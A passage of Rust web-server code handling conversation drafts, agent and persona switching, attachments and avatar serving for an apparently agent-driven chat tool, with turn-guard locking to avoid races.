9960    Ok((
9961        StatusCode::ACCEPTED,
9962        Json(TalkView::new(queued, thinking, &ui)),
9963    ))
9964    }).await
9965}
9966
9967/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9968/// changing it. The turn guard is the same per-talk ownership `talk_say`
9969/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9970async fn talk_pending_resume(
9971    State(ui): State<Arc<Ui>>,
9972    Path(id): Path<String>,
9973) -> ApiResult<(StatusCode, Json<TalkView>)> {
9974    let admission = ui.begin_admission()?;
9975    admitted(admission, async move {
9976        let id = {
9977            let ui = Arc::clone(&ui);
9978            let asked = id.clone();
9979            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9980        };
9981        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9982            .await
9983            .map_err(ApiError::from)?;
9984        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9985            return Err(ApiError::conflict(
9986                "a talk turn is already running; the queued draft will be handled by it",
9987            ));
9988        };
9989        let (talk, cfg) = {
9990            let ui = Arc::clone(&ui);
9991            let id = id.clone();
9992            blocking(move || {
9993                let talk = ui.talks.get(&id)?;
9994                if !talk.status.open() {
9995                    return Err(ApiError::conflict(format!(
9996                        "talk {} is {} and takes no more turns",
9997                        talk.short(),
9998                        talk.status.as_str()
9999                    )));
10000                }
10001                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10002                    return Err(ApiError::conflict("there is no queued draft to resume"));
10003                }
10004                let (cfg, _) = Config::discover(&talk.repo, None)?;
10005                Ok((talk, cfg))
10006            })
10007            .await?
10008        };
10009        let view = TalkView::new(talk.clone(), true, &ui);
10010        let talks = ui.talks.clone();
10011        #[cfg(not(test))]
10012        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10013        #[cfg(test)]
10014        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10015        Ok((StatusCode::ACCEPTED, Json(view)))
10016    })
10017    .await
10018}
10019
10020/// Hand off an admitted draft while retaining the talk lease until its
10021/// detached startup reservation is durable.
10022#[cfg(not(test))]
10023async fn detach_talk_turn(
10024    _talk: Talk,
10025    talks: Talks,
10026    _cfg: Config,
10027    id: String,
10028    turn: TalkTurnGuard,
10029) -> ApiResult<()> {
10030    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
10031    drop(turn);
10032    launched.map(|_| ()).map_err(ApiError::from)
10033}
10034
10035#[cfg(test)]
10036async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
10037    drain_loop_started(talk, talks, cfg, id, turn, None).await;
10038}
10039
10040/// A settings response must not report idle while its claim is still held.
10041/// Wait until the first drain either releases the claim or promotes a draft.
10042/// The task owns the guard even if the HTTP handler is cancelled while waiting.
10043async fn settle_settings_turn(
10044    talk: Talk,
10045    talks: Talks,
10046    cfg: Config,
10047    id: String,
10048    turn: TalkTurnGuard,
10049    observed: u64,
10050) -> bool {
10051    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10052        let turns = Arc::clone(&turn.turns);
10053        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
10054        if live.queued.get(&id).copied().unwrap_or(0) == observed {
10055            // Release under the arrival lock; a later `/say` takes its own claim.
10056            turn.release(&mut live);
10057            return false;
10058        }
10059    }
10060    let (started, settled) = tokio::sync::oneshot::channel();
10061    tokio::spawn(drain_loop_started(
10062        talk,
10063        talks,
10064        cfg,
10065        id,
10066        turn,
10067        Some(started),
10068    ));
10069    settled.await.unwrap_or(false)
10070}
10071
10072#[cfg(not(test))]
10073async fn drain_loop_started(
10074    talk: Talk,
10075    talks: Talks,
10076    _cfg: Config,
10077    id: String,
10078    turn: TalkTurnGuard,
10079    started: Option<tokio::sync::oneshot::Sender<bool>>,
10080) {
10081    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
10082    let running = if pending {
10083        match crate::chat_worker::spawn_turn(&talks, &id).await {
10084            Ok(_) => true,
10085            Err(error) => {
10086                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10087                false
10088            }
10089        }
10090    } else {
10091        false
10092    };
10093    drop(turn);
10094    if let Some(started) = started {
10095        let _ = started.send(running);
10096    }
10097}
10098
10099// Existing in-process conversation tests exercise transcript/arrival ordering;
10100// real process-lifetime behavior is covered by the CLI integration tests.
10101#[cfg(test)]
10102async fn drain_loop_started(
10103    mut talk: Talk,
10104    talks: Talks,
10105    cfg: Config,
10106    id: String,
10107    turn: TalkTurnGuard,
10108    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10109) {
10110    let live_set = Arc::clone(&turn.turns);
10111    // `Option` rather than binding `turn` directly to a `_turn` that lives
10112    // for the whole function: releasing it has to happen by calling
10113    // `TalkTurnGuard::release` from inside the locked branch below, which
10114    // takes `self` by value. Left as a plain drop instead, `Drop` would still
10115    // remove the id - correctly, if this loop is ever left some other way -
10116    // but doing it there misses the lock this loop is already holding, which
10117    // is the exact gap `release` exists to close.
10118    let mut turn = Some(turn);
10119    loop {
10120        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10121            // The lease was taken over while a turn ran. Whatever is queued
10122            // stays a draft; running it here would race the new owner.
10123            tracing::warn!("talk {id} lost its turn lease; not draining further");
10124            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10125            if let Some(turn) = turn.take() {
10126                turn.release(&mut live);
10127            }
10128            break;
10129        }
10130        // `talk::drain` takes the store lock and can write/rename the talk
10131        // file. Keep the turn mutex out of that synchronous work: it protects
10132        // every talk's in-memory claim, not this talk's disk operation.
10133        let observed = live_set
10134            .lock()
10135            .unwrap_or_else(PoisonError::into_inner)
10136            .queued
10137            .get(&id)
10138            .copied()
10139            .unwrap_or(0);
10140        let drained = blocking({
10141            let talks = talks.clone();
10142            move || {
10143                let result = talk::drain(&mut talk, &talks);
10144                Ok((talk, result))
10145            }
10146        })
10147        .await;
10148        let (next_talk, result) = match drained {
10149            Ok(drained) => drained,
10150            Err(e) => {
10151                tracing::warn!(
10152                    status = %e.status,
10153                    message = %e.message,
10154                    "talk {id} could not start queued-text drain"
10155                );
10156                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10157                turn.take()
10158                    .expect("held for the whole loop until released here")
10159                    .release(&mut live);
10160                break;
10161            }
10162        };
10163        talk = next_talk;
10164        let drained = match result {
10165            Ok(Some(drained)) => drained,
10166            Ok(None) => {
10167                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10168                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10169                    continue;
10170                }
10171                turn.take()
10172                    .expect("held for the whole loop until released here")
10173                    .release(&mut live);
10174                break;
10175            }
10176            Err(e) => {
10177                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10178                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10179                turn.take()
10180                    .expect("held for the whole loop until released here")
10181                    .release(&mut live);
10182                break;
10183            }
10184        };
10185        if let Some(started) = started.take() {
10186            let _ = started.send(true);
10187        }
10188        let responded = match turn.as_ref() {
10189            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10190            None => Err(anyhow::anyhow!("the turn guard was released")),
10191        };
10192        if let Err(e) = responded {
10193            tracing::warn!("talk {id} turn failed: {e:#}");
10194        }
10195    }
10196    drop(turn);
10197    if let Some(started) = started {
10198        let _ = started.send(false);
10199    }
10200}
10201
10202/// Clear a queued draft only if it remains exactly the one the caller saw.
10203async fn talk_pending_clear(
10204    State(ui): State<Arc<Ui>>,
10205    Path(id): Path<String>,
10206    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10207) -> ApiResult<Json<TalkView>> {
10208    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10209    blocking(move || {
10210        let id = resolve_talk(&ui.talks, &id)?;
10211        let mut talk = ui.talks.get(&id)?;
10212        if !talk.status.open() {
10213            return Err(ApiError::conflict(format!(
10214                "talk {} is {} and takes no more turns",
10215                talk.short(),
10216                talk.status.as_str()
10217            )));
10218        }
10219        if !talk::clear_pending_if_matches(
10220            &mut talk,
10221            &ui.talks,
10222            &body.expected_text,
10223            &body.expected_attachments,
10224        )? {
10225            return Err(ApiError::conflict(
10226                "queued message changed; reload it before clearing",
10227            ));
10228        }
10229        let thinking = ui.is_thinking(&talk.id);
10230        Ok(Json(TalkView::new(talk, thinking, &ui)))
10231    })
10232    .await
10233}
10234
10235/// Atomically edit a queued draft's text while preserving its attachments.
10236/// The snapshot fields make a concurrent queue or drain a conflict rather
10237/// than silently discarding either message.
10238async fn talk_pending_edit(
10239    State(ui): State<Arc<Ui>>,
10240    Path(id): Path<String>,
10241    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10242) -> ApiResult<Json<TalkView>> {
10243    let admission = ui.begin_admission()?;
10244    admitted(admission, async move {
10245        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10246        let id = {
10247            let ui = Arc::clone(&ui);
10248            blocking(move || resolve_talk(&ui.talks, &id)).await?
10249        };
10250        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10251            .await
10252            .map_err(ApiError::from)?;
10253        let (view, reclaimed) = blocking({
10254            let ui = Arc::clone(&ui);
10255            move || {
10256                let mut talk = ui.talks.get(&id)?;
10257                if !talk.status.open() {
10258                    return Err(ApiError::conflict(format!(
10259                        "talk {} is {} and takes no more turns",
10260                        talk.short(),
10261                        talk.status.as_str()
10262                    )));
10263                }
10264                if !talk::edit_pending_message(
10265                    &mut talk,
10266                    &ui.talks,
10267                    &body.text,
10268                    &body.expected_text,
10269                    &body.expected_attachments,
10270                    body.message,
10271                )? {
10272                    return Err(ApiError::conflict(
10273                        "queued message changed; reload it before editing",
10274                    ));
10275                }
10276                let claim = match ui.begin_queued_talk_turn(&id)? {
10277                    Some(turn_guard) => {
10278                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10279                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10280                    }
10281                    None => None,
10282                };
10283                let thinking = ui.is_thinking(&id);
10284                Ok((TalkView::new(talk, thinking, &ui), claim))
10285            }
10286        })
10287        .await?;
10288        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10289            let talks = ui.talks.clone();
10290            #[cfg(not(test))]
10291            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10292            #[cfg(test)]
10293            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10294        }
10295        Ok(Json(view))
10296    })
10297    .await
10298}
10299
10300/// The 409 for a talk that takes no more turns.
10301fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10302    if talk.status.open() {
10303        return Ok(());
10304    }
10305    Err(ApiError::conflict(format!(
10306        "talk {} is {} and takes no more turns",
10307        talk.short(),
10308        talk.status.as_str()
10309    )))
10310}
10311
10312/// The body of `POST /api/talks/{id}/agent`.
10313#[derive(Debug, Deserialize)]
10314struct TalkAgent {
10315    agent: String,
10316}
10317
10318/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10319/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10320/// start a turn on the old session between the check and the write; one that
10321/// arrives in that window finds the talk busy and becomes a draft.
10322async fn talk_agent(
10323    State(ui): State<Arc<Ui>>,
10324    Path(id): Path<String>,
10325    Json(body): Json<TalkAgent>,
10326) -> ApiResult<Json<TalkView>> {
10327    let admission = ui.begin_admission()?;
10328    admitted(admission, async move {
10329        let id = {
10330            let ui = Arc::clone(&ui);
10331            blocking(move || resolve_talk(&ui.talks, &id)).await?
10332        };
10333        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10334            .await
10335            .map_err(ApiError::from)?;
10336        let repo = {
10337            let ui = Arc::clone(&ui);
10338            let id = id.clone();
10339            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10340        };
10341        let cfg = config_for(&repo).await?;
10342        // Refuse before taking the claim; see `talk_implementers`.
10343        {
10344            let ui = Arc::clone(&ui);
10345            let id = id.clone();
10346            let cfg = cfg.clone();
10347            let wanted = body.agent.clone();
10348            blocking(move || {
10349                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10350                    .map_err(ApiError::bad_request_from)?;
10351                refuse_if_closed(&ui.talks.get(&id)?)
10352            })
10353            .await?;
10354        }
10355        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10356            return Err(ApiError::conflict(
10357                "a talk turn is running; change the agent once it has answered",
10358            ));
10359        };
10360        let switched = {
10361            let ui = Arc::clone(&ui);
10362            let id = id.clone();
10363            let cfg = cfg.clone();
10364            blocking(move || {
10365                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10366                    .map_err(ApiError::bad_request_from)?;
10367                let mut talk = ui.talks.get(&id)?;
10368                if !talk.status.open() {
10369                    return Err(ApiError::conflict(format!(
10370                        "talk {} is {} and takes no more turns",
10371                        talk.short(),
10372                        talk.status.as_str()
10373                    )));
10374                }
10375                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10376                Ok(talk)
10377            })
10378            .await
10379        };
10380        // A `/say` that landed while this held the claim saw the talk busy and
10381        // left a durable draft, trusting the claim's owner to drain it. So the
10382        // claim is settled whatever the outcome. Release an empty draft's claim
10383        // before replying; queued drafts continue independently of the handler.
10384        let observed = ui.queued_generation(&id);
10385        let fresh = {
10386            let ui = Arc::clone(&ui);
10387            let id = id.clone();
10388            blocking(move || Ok(ui.talks.get(&id)?)).await
10389        };
10390        let draining = match fresh {
10391            Ok(talk) => {
10392                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10393            }
10394            Err(_) => false,
10395        };
10396        let talk = switched?;
10397        Ok(Json(TalkView::new(talk, draining, &ui)))
10398    })
10399    .await
10400}
10401
10402/// The body of `POST /api/talks/{id}/persona`.
10403#[derive(Debug, Deserialize)]
10404struct TalkPersona {
10405    persona: String,
10406}
10407
10408/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10409/// like [`talk_agent`]: the turn guard is held for the change and always handed
10410/// to `drain_loop`, so a draft left meanwhile is not stranded.
10411async fn talk_persona(
10412    State(ui): State<Arc<Ui>>,
10413    Path(id): Path<String>,
10414    Json(body): Json<TalkPersona>,
10415) -> ApiResult<Json<TalkView>> {
10416    let admission = ui.begin_admission()?;
10417    admitted(admission, async move {
10418        let id = {
10419            let ui = Arc::clone(&ui);
10420            blocking(move || resolve_talk(&ui.talks, &id)).await?
10421        };
10422        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10423            .await
10424            .map_err(ApiError::from)?;
10425        let repo = {
10426            let ui = Arc::clone(&ui);
10427            let id = id.clone();
10428            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10429        };
10430        let cfg = config_for(&repo).await?;
10431        // Refuse before taking the claim; see `talk_implementers`.
10432        {
10433            let ui = Arc::clone(&ui);
10434            let id = id.clone();
10435            let cfg = cfg.clone();
10436            let wanted = body.persona.clone();
10437            blocking(move || {
10438                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10439                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10440                }
10441                refuse_if_closed(&ui.talks.get(&id)?)
10442            })
10443            .await?;
10444        }
10445        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10446            return Err(ApiError::conflict(
10447                "a talk turn is running; change the persona once it has answered",
10448            ));
10449        };
10450        let switched = {
10451            let ui = Arc::clone(&ui);
10452            let id = id.clone();
10453            let cfg = cfg.clone();
10454            blocking(move || {
10455                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10456                    return Err(ApiError::bad_request(format!(
10457                        "unknown persona `{}`",
10458                        body.persona
10459                    )));
10460                };
10461                let mut talk = ui.talks.get(&id)?;
10462                if !talk.status.open() {
10463                    return Err(ApiError::conflict(format!(
10464                        "talk {} is {} and takes no more turns",
10465                        talk.short(),
10466                        talk.status.as_str()
10467                    )));
10468                }
10469                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10470                Ok(talk)
10471            })
10472            .await
10473        };
10474        // As in `talk_agent`: settle the claim before replying, even on refusal.
10475        let observed = ui.queued_generation(&id);
10476        let fresh = {
10477            let ui = Arc::clone(&ui);
10478            let id = id.clone();
10479            blocking(move || Ok(ui.talks.get(&id)?)).await
10480        };
10481        let draining = match fresh {
10482            Ok(talk) => {
10483                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10484            }
10485            Err(_) => false,
10486        };
10487        let talk = switched?;
10488        Ok(Json(TalkView::new(talk, draining, &ui)))
10489    })
10490    .await
10491}
10492
10493/// The body of `POST /api/talks/{id}/implementers`.
10494#[derive(Debug, Deserialize)]
10495struct TalkImplementers {
10496    implementers: u8,
10497}
10498
10499/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10500/// like [`talk_agent`]: the turn guard is held for the change and always handed
10501/// to `drain_loop`, so a draft left meanwhile is not stranded.
10502async fn talk_implementers(
10503    State(ui): State<Arc<Ui>>,
10504    Path(id): Path<String>,
10505    Json(body): Json<TalkImplementers>,
10506) -> ApiResult<Json<TalkView>> {
10507    let admission = ui.begin_admission()?;
10508    admitted(admission, async move {
10509        let id = {
10510            let ui = Arc::clone(&ui);
10511            blocking(move || resolve_talk(&ui.talks, &id)).await?
10512        };
10513        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10514            .await
10515            .map_err(ApiError::from)?;
10516        let repo = {
10517            let ui = Arc::clone(&ui);
10518            let id = id.clone();
10519            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10520        };
10521        let cfg = config_for(&repo).await?;
10522        // Refuse a request that cannot succeed before taking the claim: a claim
10523        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10524        // moment, so a refusal would make the next request see "busy" instead of
10525        // its own answer. The checks after the claim stay the ones that decide.
10526        {
10527            let ui = Arc::clone(&ui);
10528            let id = id.clone();
10529            let cfg = cfg.clone();
10530            let wanted = body.implementers;
10531            blocking(move || {
10532                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10533                refuse_if_closed(&ui.talks.get(&id)?)
10534            })
10535            .await?;
10536        }
10537        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10538            return Err(ApiError::conflict(
10539                "a talk turn is running; change the implementers once it has answered",
10540            ));
10541        };
10542        let switched = {
10543            let ui = Arc::clone(&ui);
10544            let id = id.clone();
10545            let cfg = cfg.clone();
10546            blocking(move || {
10547                let chosen = talk::check_implementers(body.implementers, &cfg)
10548                    .map_err(ApiError::bad_request)?;
10549                let mut talk = ui.talks.get(&id)?;
10550                if !talk.status.open() {
10551                    return Err(ApiError::conflict(format!(
10552                        "talk {} is {} and takes no more turns",
10553                        talk.short(),
10554                        talk.status.as_str()
10555                    )));
10556                }
10557                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10558                Ok(talk)
10559            })
10560            .await
10561        };
10562        // As in `talk_agent`: settle the claim before replying, even on refusal.
10563        let observed = ui.queued_generation(&id);
10564        let fresh = {
10565            let ui = Arc::clone(&ui);
10566            let id = id.clone();
10567            blocking(move || Ok(ui.talks.get(&id)?)).await
10568        };
10569        let draining = match fresh {
10570            Ok(talk) => {
10571                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10572            }
10573            Err(_) => false,
10574        };
10575        let talk = switched?;
10576        Ok(Json(TalkView::new(talk, draining, &ui)))
10577    })
10578    .await
10579}
10580
10581/// `POST /api/talks/{id}/close`.
10582async fn talk_close(
10583    State(ui): State<Arc<Ui>>,
10584    Path(id): Path<String>,
10585) -> ApiResult<Json<TalkView>> {
10586    blocking(move || {
10587        let id = resolve_talk(&ui.talks, &id)?;
10588        let mut talk = ui.talks.get(&id)?;
10589        talk::close(&mut talk, &ui.talks).map_err(|error| {
10590            if error.is::<talk::ClosePendingInput>() {
10591                ApiError::conflict(format!("{error:#}"))
10592            } else {
10593                ApiError::from(error)
10594            }
10595        })?;
10596        let thinking = ui.is_thinking(&talk.id);
10597        Ok(Json(TalkView::new(talk, thinking, &ui)))
10598    })
10599    .await
10600}
10601
10602/// `POST /api/talks/{id}/reopen`.
10603async fn talk_reopen(
10604    State(ui): State<Arc<Ui>>,
10605    Path(id): Path<String>,
10606) -> ApiResult<Json<TalkView>> {
10607    blocking(move || {
10608        let id = resolve_talk(&ui.talks, &id)?;
10609        let mut talk = ui.talks.get(&id)?;
10610        talk::reopen(&mut talk, &ui.talks)?;
10611        let thinking = ui.is_thinking(&talk.id);
10612        Ok(Json(TalkView::new(talk, thinking, &ui)))
10613    })
10614    .await
10615}
10616
10617/// `DELETE /api/talks/{id}`.
10618///
10619/// Removes the conversation's record and artifacts outright, unlike
10620/// [`talk_close`] which keeps the record as history. A turn already in
10621/// flight is not refused here the way [`run_delete`] refuses a live run:
10622/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10623/// under [`Talks::guard`], that the record they are about to write back is
10624/// still there, so a delete racing a turn is safe without this route having
10625/// to know a turn is running at all.
10626async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10627    blocking(move || {
10628        let id = resolve_talk(&ui.talks, &id)?;
10629        ui.talks.remove(&id)?;
10630        Ok(StatusCode::NO_CONTENT)
10631    })
10632    .await
10633}
10634
10635fn talk_ids(root: &FsPath) -> Vec<String> {
10636    std::fs::read_dir(root)
10637        .into_iter()
10638        .flatten()
10639        .flatten()
10640        .filter_map(|e| {
10641            let path = e.path();
10642            if path.extension().is_some_and(|ext| ext == "json") {
10643                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10644            } else {
10645                None
10646            }
10647        })
10648        .collect()
10649}
10650
10651/// Expand an id or short id to exactly one talk id.
10652fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10653    if plain_record_id(id) && store.path_of(id).is_file() {
10654        return Ok(id.to_owned());
10655    }
10656    pick(talk_ids(store.root()), id, "talk")
10657}
10658
10659/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10660/// future `talk-say`.
10661async fn talk_attachment_post(
10662    State(ui): State<Arc<Ui>>,
10663    Path(id): Path<String>,
10664    headers: HeaderMap,
10665    body: Bytes,
10666) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10667    let mime = validate_attachment(&headers, &body)?;
10668    let name = filename_header(&headers);
10669    let data = body.to_vec();
10670    blocking(move || {
10671        let id = resolve_talk(&ui.talks, &id)?;
10672        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10673        Ok((StatusCode::CREATED, Json(att)))
10674    })
10675    .await
10676}
10677
10678/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10679/// `<img>` tag in the transcript.
10680async fn talk_attachment_get(
10681    State(ui): State<Arc<Ui>>,
10682    Path((id, att)): Path<(String, String)>,
10683) -> ApiResult<Response> {
10684    blocking(move || {
10685        let id = resolve_talk(&ui.talks, &id)?;
10686        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10687            return Err(ApiError::not_found(format!(
10688                "talk {id} has no attachment `{att}`"
10689            )));
10690        };
10691        Ok(attachment_response(&meta.mime, data))
10692    })
10693    .await
10694}
10695
10696/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10697/// the icon setting, so changing it changes the URL.
10698fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10699    let id = avatar_encode(&p.id);
10700    format!(
10701        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10702        persona_icon::fingerprint(
10703            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10704        )
10705    )
10706}
10707
10708#[derive(Debug, Default, Deserialize)]
10709struct AvatarQuery {
10710    persona: Option<String>,
10711    /// Set by the page after the first load failed: skip the `icon`.
10712    builtin: Option<String>,
10713}
10714
10715/// Served with every built-in avatar: it is an image, so nothing else may run.
10716const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10717
10718fn builtin_avatar(id: &str) -> Response {
10719    svg_avatar(persona_icon::builtin_svg(id))
10720}
10721
10722async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10723    raster_or_builtin(
10724        read_icon_file(&avatar_setting_path(&ui.home, None))
10725            .filter(|_| q.builtin.is_none())
10726            .as_deref(),
10727        persona_icon::operator_svg(),
10728    )
10729}
10730
10731fn svg_avatar(svg: &'static str) -> Response {
10732    (
10733        [
10734            (header::CONTENT_TYPE, "image/svg+xml"),
10735            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10736            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10737            (header::CACHE_CONTROL, "no-cache"),
10738        ],
10739        svg,
10740    )
10741        .into_response()
10742}
10743
10744fn avatar_encode(value: &str) -> String {
10745    value
10746        .bytes()
10747        .map(|b| {
10748            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10749                char::from(b).to_string()
10750            } else {
10751                format!("%{b:02X}")
10752            }
10753        })
10754        .collect()
10755}
10756
10757// Display-only overrides live outside configuration and conversation records.
10758fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10759    let Some(id) = persona else {
10760        return home.join("avatars/operator.data");
10761    };
10762    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10763    let mut path = home.join("avatars/personas");
10764    for chunk in encoded.as_bytes().chunks(100) {
10765        path.push(std::str::from_utf8(chunk).expect("hex"));
10766    }
10767    path.join("icon.data")
10768}
10769
10770fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10771    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10772        Some(value) if value == "builtin" => Some(String::new()),
10773        Some(value) => Some(value),
10774        None => configured.map(str::to_owned),
10775    }
10776}
10777
10778fn operator_icon_url(home: &FsPath) -> String {
10779    format!(
10780        "/avatars/operator.svg?v={}",
10781        persona_icon::fingerprint(
10782            read_icon_file(&avatar_setting_path(home, None))
10783                .as_deref()
10784                .or(Some(persona_icon::operator_svg()))
10785        )
10786    )
10787}
10788
10789fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10790    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10791        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10792            attachment_response(mime, bytes)
10793        }
10794        _ => svg_avatar(builtin),
10795    };
10796    response
10797        .headers_mut()
10798        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10799    response
10800}
10801
10802#[derive(Default, Deserialize)]
10803struct AvatarSettingsQuery {
10804    repo: Option<PathBuf>,
10805    persona: Option<String>,
10806    builtin: Option<String>,
10807    inherit: Option<String>,
10808}
10809
10810fn avatar_settings_specs(
10811    ui: &Ui,
10812    repo: Option<PathBuf>,
10813) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10814    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10815    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10816        .map(|cfg| cfg.talk.personas)
10817        .unwrap_or_default();
10818    Ok((repo, specs))
10819}
10820
10821fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10822    let Ok(entries) = std::fs::read_dir(path) else {
10823        return;
10824    };
10825    for entry in entries.flatten() {
10826        let name = entry.file_name().to_string_lossy().into_owned();
10827        if name == "icon.data" {
10828            let bytes: Option<Vec<u8>> = prefix
10829                .as_bytes()
10830                .chunks(2)
10831                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10832                .collect();
10833            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10834                out.push(id);
10835            }
10836        } else if name.len() <= 100
10837            && !name.is_empty()
10838            && name.bytes().all(|b| b.is_ascii_hexdigit())
10839            && entry.file_type().is_ok_and(|t| t.is_dir())
10840        {
10841            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10842        }
10843    }
10844}
10845
10846async fn avatar_settings_get(
10847    State(ui): State<Arc<Ui>>,
10848    Query(q): Query<AvatarSettingsQuery>,
10849) -> ApiResult<Json<serde_json::Value>> {
10850    blocking(move || {
10851        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10852        let mut catalog = persona::catalog(&specs);
10853        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10854        let mut saved = Vec::new();
10855        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10856        for id in saved {
10857            if !catalog.iter().any(|p| p.id == id) {
10858                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10859            }
10860        }
10861        let personas: Vec<_> = catalog.iter().map(|p| {
10862            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10863            let override_state = match saved.as_deref() {
10864                Some("builtin") => "builtin",
10865                Some(_) => "custom",
10866                None => "inherit",
10867            };
10868            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10869            serde_json::json!({"id":p.id,"name":p.name,
10870                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10871                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10872                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10873        }).collect();
10874        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10875    }).await
10876}
10877
10878async fn settings_persona_avatar(
10879    State(ui): State<Arc<Ui>>,
10880    Query(q): Query<AvatarSettingsQuery>,
10881) -> ApiResult<Response> {
10882    blocking(move || {
10883        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
